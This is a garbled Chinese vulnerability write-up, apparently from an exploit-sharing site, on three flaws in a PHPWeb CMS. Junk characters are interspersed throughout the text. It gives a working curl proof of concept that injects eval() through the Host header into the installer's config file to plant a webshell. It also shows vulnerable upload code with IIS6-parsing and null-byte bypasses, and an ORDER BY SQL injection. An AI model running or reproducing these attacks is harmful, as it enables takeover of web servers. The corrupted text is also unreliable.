8 d: e* E* \+ } K/ J- }) ^$ I虽然鸡肋 但也有优点 : 不受 magic_quotes_gpc 、 webserver 影响 / m. D {# |+ B% Y/ W3 o& U U% K: R 4 M* x% u- F$ ]1 o! M- l* w
分析:" J. Q; C- |" ?$ \! o+ Z* u
- E2 J3 ?% n# }& T - F$ K( h9 P+ S1 u7 }2 ~
$siteurl="http://".$_SERVER["HTTP_HOST"]."/"; //未过滤 W+ |8 d+ G- E, n# M # h5 K" R( z- {$ R, E5 } $filestr = fread(fopen($SysConfigFile, 'r'),30000); 6 @! W7 x9 k9 \ $filestr=str_replace(" ","",$filestr); , I( X8 T2 H2 B D( q1 L* o $filestr=str_replace("DefaultDbHost",$dbhost,$filestr);' ] w/ S4 _$ e
$filestr=str_replace("DefaultDbName",$dbname,$filestr);. g2 N r( s% u5 Z9 H
$filestr=str_replace("DefaultDbUser",$dbuser,$filestr);+ |: S4 Y* j s9 \) S3 a# |
$filestr=str_replace("DefaultDbPass",$dbpwd,$filestr);9 t( N- E6 L) U
$filestr=str_replace("DefaultsLan","zh_cn",$filestr); / @" U% f p6 k1 @1 L; u $filestr=str_replace("DefaultTablePre",$tablepre,$filestr); l8 \1 _# c0 o! U
$filestr=str_replace("DefaultSiteUrl",$siteurl,$filestr);2 j" x7 x W6 M3 @' H
2 S. m8 p, ]4 N- s fwrite(fopen($ConFile,"w"),$filestr,30000); 2 q& ?4 O G. S* i$_SERVER["HTTP_HOST"] 就是 http head 中HOST传递过来的 可控制,并且不受 magic_quotes_gpc 影响 ^ _ ^* {4 S0 \* z+ l/ @+ l' i
. t* p6 O, X/ y8 m) Fpoc:/ k) ^/ g8 n, _) r- a
; ?1 j- f' I. ?; h
? $ Q, r& \) b9 S( N4 l. c1 & ~! N2 [" F" ecurl http://fuck.0day5.com/base/install/index.php --data "dbhost=localhost&dbname=phpweb&dbuser=root&dbpwd=root&tablepre=pwn&nextstep=3&command=gonext&alertmsg=&username=" --header "HOST:localhost\";eval($_REQUEST[a]);#" 3 J1 u0 A- U/ p' eshell地址: /config.inc.php& u/ t O) I! L4 x' P v' L9 I
跟之前的 phpcms一样 需要远程数据库 ! f, Q7 g6 v5 M1 f- J ! l8 @5 ?& N i" f2 X$ T1 Z- t7 f——————————————————–* b% |" T4 c$ d0 z9 f
上传漏洞(需要进后台): 5 `9 f# ]/ ~; ]/ T8 Q# x漏洞文件: /kedit/upload_cgi/upload.php% @: ` Z+ j. K
这个很多人都知道,但是很鸡肋 iis6 解析 或 GPC off条件下才可利用& ^6 V- e, x; o; J& A( A/ b+ C
& ^7 f. o1 i! }: X+ l / ~5 e5 f. s$ h% j$ b# ?6 v
<?php 1 M5 H0 r x) @ define("ROOTPATH", "../../"); 5 t, ?" l! B2 G include(ROOTPATH."includes/admin.inc.php"); * u/ ~8 W7 R+ c NeedAuth(0); 9 O# I" M1 ^: N. C; z " J& m$ X. u4 a& y7 t1 ~+ W& G $dt=date("Ymd",time()); 5 }" t: [/ |9 h+ q5 A; K if(!is_dir(ROOTPATH.$_POST['attachPath'].$dt)){ ; }' h7 e( }$ j0 R* Y @mkdir(ROOTPATH.$_POST['attachPath'].$dt,0777);1 B g7 u! P8 p7 y4 f B' A
}6 f6 H- C- K2 m' }7 o
# U( |" A* H1 q1 j# W+ M. ?# L //文件保存目录路径 : c2 v5 m, `) T5 s $save_path = ROOTPATH.$_POST['attachPath'].$dt.'/'; : N" `, P4 T! c" p9 T7 Q echo $save_path; + ^2 \& i; v3 P% ~ //文件保存目录URL 0 H0 L) T9 v( F% [3 D6 g $save_url = '../../'.$_POST['attachPath'].$dt.'/'; : ?/ M' q2 H3 c* [& B3 F 7 G+ F) ^9 v) Q7 } V //定义允许上传的文件扩展名 ) _- C, c3 v) D+ R $ext_arr = array('gif','jpg','png','bmp'); //限制后缀 4 f* k9 r- D$ N 5 K `- ^8 M5 `, x2 k$ r+ F! m
//最大文件大小2 S: j+ u1 D# O, w1 d- l
$max_size = 1000000; & r1 j& U/ ~' K2 y( M7 ` / {1 a" z8 g/ c+ P //更改目录权限 0 j6 M5 I5 `, ]9 b1 m @mkdir($save_path, 0777);6 y* w0 G6 F. s. }0 b% Z; W
2 L6 G* C% t, c5 {1 O //文件的全部路径 & N. G0 j; r! B4 C $file_path = $save_path.$_POST['fileName']; //保存文件名 ( s% }, A4 h% x+ Y b* h7 ^ 7 x1 y9 U2 J- v4 t //文件URL $ B! ^* V: I% Q5 ?) t3 d9 ~6 v $file_url = $save_url.$_POST['fileName'];- f* b3 D" @- ^ B8 T
//有上传文件时 ' V# U$ u. e9 a4 \: X if (empty($_FILES) === false) { ! B# G4 ^! S. Z- U ) v7 _( t6 G5 `: K9 p
//原文件名 - m1 s! v# w ^ $file_name = $_FILES['fileData']['name'];% ?/ D1 g, L* P
//服务器上临时文件名 ' }, Q5 u0 I D. p( Y5 d2 Y $tmp_name = $_FILES['fileData']['tmp_name']; Z `- ]& L7 T, `6 c7 u
//文件大小 4 G; Q t, m8 {5 t- B7 m- e0 f $file_size = $_FILES['fileData']['size'];0 J* r3 @* R, M0 X9 O
//检查目录 " y$ s1 l% K6 V% g% X' [# [ if (@is_dir($save_path) === false) {% S# ]" @+ N* u* E! @ t
alert("上传目录不存在。");" k& s% I2 `) l; d
}0 G0 K& d0 W1 o# P4 @
//检查目录写权限 3 a# m4 g' {( r; U% {/ q if (@is_writable($save_path) === false) { $ j w2 v q4 \ W" ]; G$ _ alert("上传目录没有写权限。");+ u0 @0 y& m7 U$ @$ Q3 V$ \: w" S
} 6 r) A! L9 W5 M4 s) L( i* {, U //检查是否已上传* D* W$ X) D; }! A) t! R
if (@is_uploaded_file($tmp_name) === false) {, @ M3 V" [% r4 K2 Z6 d* w
alert("临时文件可能不是上传文件。"); $ R& e- y4 N9 t# x H# w } , s, Y- A# V$ N Z+ ]+ T+ T //检查文件大小& u7 t7 Y) V8 n# {( {
if ($file_size > $max_size) { ' V4 [6 n8 R" b" n: i; A alert("上传文件大小超过限制。");( j; Y; c* ^' V; o! s8 ^
} $ L2 M6 W G, e. \, w7 D //获得文件扩展名. M$ t1 t- K* ]- B) b2 Y
$temp_arr = explode(".", $_POST['fileName']);! |/ p" V- g1 v2 [
$file_ext = array_pop($temp_arr); 0 r" E4 H& R2 _- ^+ V/ Y1 [% U( K $file_ext = trim($file_ext); - o2 e3 K7 [5 ^/ Q $file_ext = strtolower($file_ext); ( M& J' I9 D$ P! W6 p2 I! T$ u; ] 5 C7 D) e* T7 `8 y( P( Z
//检查扩展名 g5 x& q5 x4 Q
if (in_array($file_ext, $ext_arr) === false) { 5 p; l: n! ], z* M" [( U
alert("上传文件扩展名是不允许的扩展名。"); ( `( \0 q8 C' A8 R, ^: j( @ }3 h7 H5 i/ W7 a+ |* v
. U3 \6 B1 f, r //移动文件 : b/ s6 D) K8 o. I& ^7 N+ b
//未重命名 虽然过滤了 后缀 iis 6解析漏洞 ^ _ ^ j+ Y+ h1 i8 H' W if (move_uploaded_file($tmp_name, $file_path) === false) { , e2 |* I( p2 I5 e) P alert("上传文件失败。"); 4 a' i- s& Y. n5 z }# q" ^2 Z" [; g6 F' k
c8 B2 O% m+ S! C) u @chmod($file_path,0666);7 A; X3 u) v. r! Q6 ?( A3 ^
0 M) r+ y3 ]( @ ?> 1 Y/ E. G" f S d; M/ O% r抓包改包 filename 改为 xx.php;111.jpg 即可突破或者使用http://www.0day5.com/?p=227: I, o1 y# Y' Z; I% L$ n
( C. ]8 M5 P9 [9 Capache 版本magic_quotes_gpc = off情况下可以考虑 \00 截断 绕过 0 k R) ~; h9 r) e$ M; t- P " T# D: o# u. N! W; x8 S9 i+ h/ ~
—————————————————— . K2 F; E6 _& y, w6 y注入漏洞: % l" s/ a. {! \$ w漏洞文件:search/module/search.php : T0 z; l- p8 v0 i* T/search/index.php?key=1&myord=1 [sqlinjection]! I' |* }" A6 W$ c) n
+ R, r* A& C+ j: k' b. c7 z 7 L9 o1 \& ^2 W3 T& @( b+ k<?php * ~0 P% Y% A4 }2 s+ D( ?; C // ... 省略 n 行..., j' p4 m; f8 O: W# y l
//第18行:4 l8 M0 O( p" N& w- `
$key=htmlspecialchars($_GET["key"]); //只是简单的将字符HTML 实体 编码 , mysql 注入不受此影响, c! \8 P! [0 `8 C9 h( B
$page=htmlspecialchars($_GET["page"]); f8 ?& k3 y+ S% k $myord=htmlspecialchars($_GET["myord"]); 5 m# f6 K; Y2 S " i! c/ |2 e6 S
// ... 省略 n 行... # Y' ^" e* _$ a $key,$myord 两个参数带入查询( [- D$ \. M1 l; s
//第47行 $key: - s' g9 y# z0 q p 5 ]4 ]6 K6 @( h+ y; j5 x$ P $fsql->query("select count(id) from {P}_news_con where iffb='1' and catid!='0' and (title regexp '$key' or body regexp '$key')"); //虽然带入查询 但使用的 是regexp 不知如何绕过.. 3 r. |6 @( w! `! w( o. s 3 P5 J3 O; F% Z1 K q9 p
//第197行 $myord 7 n' `; O& X: C' E0 r) @; Y $fsql->query($scl . " order by $myord desc limit $pagelimit "); 产生注入% @# ~ Z3 S1 w7 E6 t* X